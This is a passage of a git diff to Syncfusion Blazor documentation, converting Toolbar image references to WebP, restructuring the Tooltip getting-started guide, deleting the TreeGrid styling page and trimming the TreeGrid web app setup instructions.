+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhSMDWXzWXgSuJH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Tooltip](./images/blazor-toolbar-item-tooltip.webp)" %}
 
 ## Type
 
@@ -274,7 +274,7 @@ The `Separator` type adds a vertical line that visually separates Toolbar's item
 
 N> If `Separator` is added as the first or the last item, it will not be visible.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVyWXstpsZPnxkf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Separator](./images/blazor-toolbar-item-separator.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDVyWXstpsZPnxkf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Separator](./images/blazor-toolbar-item-separator.webp)" %}
 
 ### Input
 
@@ -377,7 +377,7 @@ The following code explains how to add `NumericTextBox`, `DropDownList`, `RadioB
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLeCNitzsCzoltu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Other Components](./images/blazor-toolbar-item-with-other-components.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNLeCNitzsCzoltu?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Other Components](./images/blazor-toolbar-item-with-other-components.webp)" %}
 
 ### Spacer
 
@@ -405,7 +405,7 @@ It specifies whether an item should be hidden or not.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhSWDCDJWCPTNhF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Blazor Toolbar Item](./images/blazor-toolbar-hidden-item.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhSWDCDJWCPTNhF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Blazor Toolbar Item](./images/blazor-toolbar-hidden-item.webp)" %}
 
 ## Width
 
@@ -429,4 +429,4 @@ It specifies the width of the Toolbar button Items.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhSMZWXzWVqDebF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Custom Width](./images/blazor-toolbar-item-custom-width.png)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhSMZWXzWVqDebF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Custom Width](./images/blazor-toolbar-item-custom-width.webp)" %}
\ No newline at end of file
diff --git a/blazor/toolbar/responsive-mode.md b/blazor/toolbar/responsive-mode.md
index 4c79f2153d..98fdb5397b 100644
--- a/blazor/toolbar/responsive-mode.md
+++ b/blazor/toolbar/responsive-mode.md
@@ -67,7 +67,7 @@ The default [`OverflowMode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 </SfToolbar>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhoitCZzVqTpUBZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Scrolling in Blazor Toolbar](./images/blazor-toolbar-scrolling.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXhoitCZzVqTpUBZ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Scrolling in Blazor Toolbar](./images/blazor-toolbar-scrolling.webp)" %}
 
 ## Popup
 
@@ -75,7 +75,7 @@ The default [`OverflowMode`](https://help.syncfusion.com/cr/blazor/Syncfusion.Bl
 
 Items within the popup can be viewed by opening the popup via the dropdown icon located at the end of the Toolbar.
 
-![Blazor Toolbar with Overflow Dropdown Popup](./images/blazor-toolbar-with-overflow-dropdown-popup.png)
+![Blazor Toolbar with Overflow Dropdown Popup](./images/blazor-toolbar-with-overflow-dropdown-popup.webp)
 
 N> If the popup content exceeds the height of the page, overflowing items will not be visible.
 
@@ -100,7 +100,7 @@ N> If the popup content exceeds the height of the page, overflowing items will n
     </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVoijsXzLKbvuYU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item in Popup Mode](./images/blazor-toolbar-item-popup-mode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNVoijsXzLKbvuYU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item in Popup Mode](./images/blazor-toolbar-item-popup-mode.webp)" %}
 
 ### Priority of Items
 
@@ -156,7 +156,7 @@ In the following code sample, text is only visible in the popup container and no
 </SfToolbar>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hZLeCXijTVTcokhS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Toolbar Item in Overflow](./images/blazor-toolbar-item-in-overflow.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hZLeCXijTVTcokhS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Displaying Blazor Toolbar Item in Overflow](./images/blazor-toolbar-item-in-overflow.webp)" %}
 
 ## MultiRow
 
@@ -184,7 +184,7 @@ In the following code sample, text is only visible in the popup container and no
 </SfToolbar>
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htLSijMXTVoswbPi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with MultiRow](./images/blazor-toolbar-item-with-multirow.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htLSijMXTVoswbPi?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with MultiRow](./images/blazor-toolbar-item-with-multirow.webp)" %}
 
 ## Extended
 
@@ -211,4 +211,4 @@ In the following code sample, text is only visible in the popup container and no
     </ToolbarItems>
 </SfToolbar>
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hNroCNiZJhSGdfxr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Extended Mode](./images/blazor-toolbar-item-extended-mode.gif)" %}
\ No newline at end of file
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hNroCNiZJhSGdfxr?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Toolbar Item with Extended Mode](./images/blazor-toolbar-item-extended-mode.webp)" %}
\ No newline at end of file
diff --git a/blazor/tooltip/getting-started.md b/blazor/tooltip/getting-started.md
index a98b216911..0eb3390ec5 100644
--- a/blazor/tooltip/getting-started.md
+++ b/blazor/tooltip/getting-started.md
@@ -9,9 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Tooltip Component
 
-This section briefly explains about how to include [Blazor Tooltip](https://www.syncfusion.com/blazor-components/blazor-tooltip) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
-
-To get start quickly with the Blazor Tooltip component, refer to this [GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Tooltip) sample.
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tooltip](https://www.syncfusion.com/blazor-components/blazor-tooltip) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +23,6 @@ To get start quickly with the Blazor Tooltip component, refer to this [GitHub](h
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Popups and Themes NuGet in the App
-
-To add the **Blazor Tooltip** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Popups -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Popups and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Popups -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Popups and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Tooltip** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Popups -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Popups -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Popups` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Popups` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,24 +129,24 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Tooltip component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tooltip component
 
-Integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tooltip component with the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor [Button](https://blazor.syncfusion.com/documentation/button/getting-started) component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tooltip component with the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor [Button](https://blazor.syncfusion.com/documentation/button/getting-started) component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Popups
 @using Syncfusion.Blazor.Buttons
@@ -213,6 +167,8 @@ Integrate the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Tooltip co
 
 {% previewsample "https://blazorplayground.syncfusion.com/embed/BDLJNWgNzHwucLWE?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Tooltip Component](./images/blazor-tooltip.gif)" %}
 
+N> [View sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Tooltip).
+
 N> The Tooltip component in our system uses the HTML element's id or class name to identify the target for the tooltip. However, when using a GUID as the target ID, it is not able to recognize IDs that start with a digit.
 
 ## See also
diff --git a/blazor/treegrid/custom-style.md b/blazor/treegrid/custom-style.md
deleted file mode 100644
index e2638134c6..0000000000
--- a/blazor/treegrid/custom-style.md
+++ /dev/null
@@ -1,34 +0,0 @@
----
-layout: post
-title: Styling and Appearance in Blazor TreeGrid Component | Syncfusion
-description: Checkout and learn here all about Styling and Appearance in Syncfusion Blazor TreeGrid component and more.
-platform: Blazor
-control: Tree Grid
-documentation: ug
----
-
-# Styling and Appearance in Blazor TreeGrid Component
-
-To modify the Tree Grid appearance, override the default CSS of Tree Grid. Find the list of CSS classes and its corresponding section in Tree Grid.
-
-| Section |CSS class | Purpose of CSS class |
-| ----- | ----- | ----- |
-| **Root** | e-treegrid | This classes are in this root element div of the Tree Grid control. |
-| **Header** | e-gridheader | This class is added in the root element of header element. In this class, thin line between header and content of the Tree Grid can be overridden. |
-| | e-table | This class is added at the **table** of the Tree Grid header. This CSS class makes table width as 100 %. |
-| | e-columnheader | This class is added at **tr** of the Tree Grid header. |
-| | e-headercell | This class is added in **th** element of Tree Grid header. The background color of header and border color can be overridden. |
-| | e-headercelldiv | This class is added in div which is present in **th** element in the header. Use the e-headercelldiv to override skeleton of header. |
-| **Body** | e-gridcontent | This class is added at root of the body content. This is to override background color of the body. |
-| | e-table | This class is added to table of the content. This CSS class makes table width as 100 %. |
-| | e-altrow | This class is added to the alternate rows of Tree Grid. This is to override alternate row color of the Tree Grid. |
-| | e-rowcell | This class is added to all cells in the Tree Grid. This is to override cells appearance and styling. |
-| | e-groupcaption | This class is added to the **td** of group caption which is to change the background color of caption cell. |
-| | e-selectionbackground | This class is added to rowcell's of the Tree Grid. This is override selection. |
-| | e-hover | This class adds to row of Tree Grid, while hovering the Tree Grid rows. |
-| **Pager** | e-pager | This class is added to root element of the pager. This is to change appearance of the background color and color of font. |
-| | e-pagercontainer | This class is added to numeric items of the pager. |
-| | e-parentmsgbar | This class is added to pager info of the pager. |
-| **Summary** | e-gridfooter | This class is added to root of the summary div. |
-| | e-summaryrow | This class is added to rows of Tree Grid summary. |
-| | e-summarycell | This class is added to cells of summary row. This to override background color of summary. |
\ No newline at end of file
diff --git a/blazor/treegrid/getting-started-webapp.md b/blazor/treegrid/getting-started-webapp.md
index 910145798c..e19e51f03c 100644
--- a/blazor/treegrid/getting-started-webapp.md
+++ b/blazor/treegrid/getting-started-webapp.md
@@ -100,13 +100,13 @@ Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 {% endhighlight %}
 {% endtabs %}
 
-If using the `WebAssembly` or `Auto` render modes in the Blazor Web App, install these packages in the client project.
+For Blazor Web Apps running in `WebAssembly` or `Auto` render mode, the solution includes both **Server** and **Client** projects. To fully support client-side features, ensure that all required packages are installed in the **Client project**.
 
 N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
 
-After the packages are installed, open the **~/_Imports.razor** file in the client project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeGrid` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file in the **Client** project and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.TreeGrid` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,13 +147,12 @@ The theme stylesheet and script can be accessed from NuGet through [Static Web A
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in your Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in your Blazor application. Refer to the [Style and Appearance](https://blazor.syncfusion.com/documentation/treegrid/custom-style) topic for customizing the DataGrid appearance and styling options.
 
-## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component
 
-Add the Syncfusion Blazor TreeGrid component in the **~/Components/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component
 
-N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssembly`, the render mode is automatically configured in the `App.razor` file by default.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the **~/Pages/*.razor** file. If the interactivity location is set to `Per page/component` in the Web App, define a render mode at the top of the `~/Pages/*.razor` file. (For example, `InteractiveServer`, `InteractiveWebAssembly` or `InteractiveAuto`).
 
 {% tabs %}
 {% highlight razor %}
@@ -164,256 +163,24 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% endhighlight %}
 {% endtabs %}
 
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="5" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="30" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Center"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code
-{
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", ParentId = 1 });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", ParentId = 1, });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", ParentId = null });
-        TreeData.Add(new BusinessObject() { TaskId = 5, TaskName = "Child Task 5", ParentId = 4 });
-        TreeData.Add(new BusinessObject() { TaskId = 6, TaskName = "Child Task 6", ParentId = 5 });
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor TreeGrid component in the default web browser.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLzXiANJxYypVIp?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor TreeGrid](images/blazor-treegrid-component.webp)" %}
-
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/TreeGrid).
-
-## Defining columns
-
-The Tree Grid has an option to define columns using the [TreeGridColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumns.html) directive. In the `TreeGridColumn` directive there are properties to customize columns.
-
-Let’s check the properties used here:
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_Field) to map with a property name in datasource has been added.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_HeaderText) to change the title of columns has been added.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.TreeGrid.TreeGridColumn.html#Syncfusion_Blazor_TreeGrid_TreeGridColumn_TextAlign) to change the alignment of columns is used. By default, columns will be left aligned. To change columns to right align, define **TextAlign** as *Right*.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-<SfTreeGrid DataSource="@TreeData" IdMapping="TaskId" ParentIdMapping="ParentId" TreeColumnIndex="1">
-    <TreeGridColumns>
-        <TreeGridColumn Field="TaskId" HeaderText="Task ID" Width="80" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="TaskName" HeaderText="Task Name" Width="160"></TreeGridColumn>
-        <TreeGridColumn Field="Duration" HeaderText="Duration" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Progress" HeaderText="Progress" Width="100" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right"></TreeGridColumn>
-        <TreeGridColumn Field="Priority" HeaderText="Priority" Width="80"></TreeGridColumn>
-    </TreeGridColumns>
-</SfTreeGrid>
-
-@code{
-
-    public class BusinessObject
-    {
-        public int TaskId { get; set; }
-        public string TaskName { get; set; }
-        public int Duration { get; set; }
-        public int Progress { get; set; }
-        public string Priority { get; set; }
-        public int? ParentId { get; set; }
-    }
-
-    public List<BusinessObject> TreeData = new List<BusinessObject>();
-
-    protected override void OnInitialized()
-    {
-        TreeData.Add(new BusinessObject() { TaskId = 1, TaskName = "Parent Task 1", Duration = 10, Progress = 70, ParentId = null, Priority = "High" });
-        TreeData.Add(new BusinessObject() { TaskId = 2, TaskName = "Child task 1", Duration = 4, Progress = 80, ParentId = 1, Priority = "Normal" });
-        TreeData.Add(new BusinessObject() { TaskId = 3, TaskName = "Child Task 2", Duration = 5, Progress = 65, ParentId = 1, Priority = "Critical" });
-        TreeData.Add(new BusinessObject() { TaskId = 4, TaskName = "Parent Task 2", Duration = 6, Progress = 77, ParentId = null, Priority = "Low" });
